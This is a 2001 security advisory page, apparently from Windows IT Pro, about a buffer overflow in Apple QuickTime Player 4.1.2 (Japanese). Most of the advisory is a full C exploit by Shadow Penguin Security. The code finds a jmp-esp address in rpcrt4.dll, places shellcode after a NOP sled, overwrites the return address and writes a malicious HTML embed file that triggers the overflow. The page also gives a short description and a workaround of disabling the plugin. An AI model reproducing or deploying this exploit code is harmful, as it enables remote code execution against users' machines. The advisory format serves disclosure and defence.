Windows IT Pro is the authoritative and independent resource for windows nt, windows 2000, windows 2003, windows xp. Features a collection of resources and magazines for windows IT professionals.
  
  
  Advanced Search 


January 31, 2001

Apple Quicktime Vulnerable To Buffer Overflow

RSS
View this exclusive article with VIP access -- click here to join |
See More Security Articles Here | Reprints | Or sign up for our VIP Monthly Pass!

Buffer Overflow in Apple QuickTime

Reported January 31, 2001, by Shadow Penguin Security.

VERSIONS AFFECTED
  • Apple Quicktime Player 4.1.2 (Japanese)

DESCRIPTION

A remotely exploitable buffer overflow has been discovered in Apple's Quicktime Player 4.1.2 Japanese versions.  An attacker can alter the program's flow of execution by copying excessive amounts of data to the stack.

DEMONSTRATION

The following code was provided by UNYUN; (In order for the code to function remove the ; in front of each line.)

---------------------------------------------------------------------

;/*====================================================================
;Apple QuickTime 4.1.2 plug-in exploit
;The Shadow Penguin Security (http://shadowpenguin.backsection.net)
;Written by UNYUN (shadowpenguin@backsection.net)
;====================================================================
;*/
;
; #include <stdio.h>
; #include <stdlib.h>
; #include <windows.h>
;
;#define MOV_FILE "c:\\program files\\quicktime\\sample.mov"
;#define HEIGHT 60
;#define WIDTH 60
;#define TARGET "QUICKTIMEPLAYER"
;#define FILE_IMAGE \
;"<html><embed src=\"%s\" href=\"%s\" "\
;"width=%d height=%d autoplay=\"true\" "\
;"target=\"%s\"><br></html>"
;#define BUFSIZE 730
;#define RET 684
;#define ESP_TGT "rpcrt4.dll"
;#define JMPESP_1 0xff
;#define JMPESP_2 0xe4
;#define NOP 0x90
;
;unsigned char exploit_code[200]={
;0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
;0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
;0xFF,0xD0,0x00,
;};
;
;main(int argc,char *argv[])
;{
;FILE *fp;
;char buf[BUFSIZE];
;unsigned int i,pretadr,p,ip,kp;
;MEMORY_BASIC_INFORMATION meminfo;
;
;if (argc<2){
;printf("usage : %s Output_HTML-fileName [Sample .mov file]\n",
;argv[0]);
;exit(1);
;}
;
;if ((void *)(kp=(unsigned int)LoadLibrary(ESP_TGT))==NULL){
;printf("%s is not found.\n",ESP_TGT);
;exit(1);
;}
;
;VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
;pretadr=0;
;for (i=0;i<meminfo.RegionSize;i++){
;p=kp+i;
;if ( ( p &0xff)==0
;|| ((p>>8 )&0xff)==0
;|| ((p>>16)&0xff)==0
;|| ((p>>24)&0xff)==0) continue;
;if ( *((unsigned char *)p)==JMPESP_1
;&& *(((unsigned char *)p)+1)==JMPESP_2)
;pretadr=p;
;}
;if ((fp=fopen(argv[1],"wb"))==NULL){
;printf("File write error \"%s\"\n",argv[1]);
;exit(1);
;}
;memset(buf,NOP,BUFSIZE);
;memcpy(buf+700-12,exploit_code,strlen(exploit_code));
;buf[BUFSIZE-2]=0;
;
;ip=pretadr;
;printf("EIP=%x\n",ip);
;buf[RET ]=ip&0xff;
;buf[RET+1]=(ip>>8)&0xff;
;buf[RET+2]=(ip>>16)&0xff;
;buf[RET+3]=(ip>>24)&0xff;
;
;if (argc==2)
;fprintf(fp,FILE_IMAGE,MOV_FILE,buf,WIDTH,HEIGHT,TARGET);
;else
;fprintf(fp,FILE_IMAGE,argv[2],buf,WIDTH,HEIGHT,TARGET);
;fclose(fp);
;printf("Done.\n");
;}
;
;-----
;UNYUN
;% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
;shadowpenguin@backsection.net (SPS-Official)
;unyun@shadowpenguin.org (Personal)
;% eEye Digital Security Team [ http://www.eEye.com ]
;unyun@eEye.com

;

VENDOR RESPONSE

It is unknown whether Shadow Penguin Security contacted the vendor. For a current workaround, a user can disable ActiveX or the QuickTime plugin.

CREDIT
Discovered by
Shadow Penguin Security.

End of Article



Reader Comments

You must log on before posting a comment.

If you don't have a username & password, please register now.




Top Viewed ArticlesView all articles
Command Prompt Tricks

One reader shares his tip for setting up the command prompt to reflect a remote path. ...

How can I stop and start services from the command line?

...

Microsoft Touts Xbox 360 'Black Friday' Success

Microsoft this week revealed that its Xbox 360 video game console outsold its Sony PlayStation 3 rival 3-to-1 on "Black Friday," which curiously describes the three day weekend after Thanksgiving, a period that unofficially kicks off the holiday selling ...


Security Whitepapers The Impact of Messaging and Web Threats

Why SaaS is the Right Solution for Log Management

Protecting (You and) Your Data with Exchange Server 2007

Related Events How IE7 & The New Extended Validation SSL Certificates Impact Your Site

Top 10 Email Security Challenges and Solutions

Introduction to Identity Lifecycle Manager "2"

Check out our list of Free Email Newsletters!

Security eBooks Spam Fighting and Email Security for the 21st Century

Understanding and Leveraging Code Signing Technologies

A Guide to Windows Certification and Public Keys

Related Security Resources Become a VIP member of the Windows IT Pro community!
Get it all with the VIP CD and VIP access. A $500+ value for only $279!

Subscribe to Windows IT Pro!
Solve your toughest technical problems with our experts and access 10,000 + articles online. 30% off

Monthly Online Pass - Only $5.95!
Get instant access to 10,000+ articles from Windows IT Pro Magazine!

TechNet Virtual Labs
Evaluate and test Microsoft's newest products.


Windows IT Pro Home Register FAQ for Windows WinInfo News
Europe Edition About Us Contact Us/Customer Service Media Kit Affiliates / Licensing  
SQL Server Magazine Office & SharePoint Pro Windows Dev Pro IT Job Hound ITTV
IT Library Technology Resource Directory Connected Home Windows Excavator Windows SuperSite 
 
 Windows IT Pro is a Division of Penton Media Inc.
 Copyright © 2008 Penton Media, Inc., All rights reserved. Terms and Use | Privacy Statement | Reprints and Licensing